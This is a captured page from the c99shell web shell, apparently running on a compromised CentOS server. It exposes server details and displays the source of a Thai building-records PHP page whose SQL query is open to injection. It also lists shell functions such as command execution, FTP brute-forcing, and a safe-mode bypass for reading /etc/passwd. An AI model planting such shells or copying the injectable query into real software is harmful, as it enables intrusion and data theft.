!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BuildingDetail1.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("./include/FunctionDB.php");
include(
"./include/Function.php");

ConnectDB();
$sql ="Select * From building_tb Where BuildD_No='$BuildD_No'";
$result mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="css/style1.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="607" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <th width="607" scope="col"><form name="form1" method="post" action="">
      <table width="100%" border="0" align="left" cellpadding="0" cellspacing="1" bgcolor="#DDDDDD" style=" border:1px solid gray"size="12">
        <tr bgcolor="#BFD0E6">
          <td colspan="3"><div align="center"><font color="#999999" size="4" face="Tahoma"><strong><font color="#000000">รายละเอียด 
            ข้อมูล</font><font color="#000000" size="4" face="Tahoma"> สิ่งก่อสร้าง 
              และ อาคารสถานที่</font><font color="#000000">ี่</font></strong></font></div></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">เลขที่แบบก่อสร้าง</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[BuildD_ID]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td width="24%" bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">ชื่ออาคาร</font></div></td>
          <td width="2%" bordercolor="#FFFFCC">&nbsp;</td>
          <td width="74%" bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Build_name]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">ประเภทอาคาร</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Build_type]?></font> </td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">ชื่อย่ออาคาร</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Short_name]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">จำนวนชั้น</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Class_unit]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">จำนวนห้อง</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Room_unit]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">ปีที่สร้างแล้วเสร็จ</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003366" size="2" face="Tahoma">
            <?php 
       $sday 
$rs[BuildD_Yr];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
          </font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td height="20" bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">ราคา/หน่วย</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"> <? echo number_format($rs['BuildD_Pr'],2,'.',',');  ?> <font color="#000000">บาท</font></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td height="20" bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">แหล่งเงิน</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo $rs[MoneyS_C]?></font></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td height="20" bordercolor="#CCCCCC"><div align="center"><font size="2" face="Tahoma">รายละเอียด</font></div></td>
          <td bordercolor="#FFFFCC">&nbsp;</td>
          <td bordercolor="#FFFFCC"><font color="#003399" size="2" face="Tahoma"><? echo nl2br($rs[Description])?></font> </td>
        </tr>
        <tr bgcolor="#BFD0E6">
          <td height="20" colspan="3"><div align="center">
            <input type="button" name="Submit" value=" ปิดหน้าต่าง" onClick="javascript:parent.close();" class="button1">
          </div></td>
        </tr>
      </table>
        </form>
    </th>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]--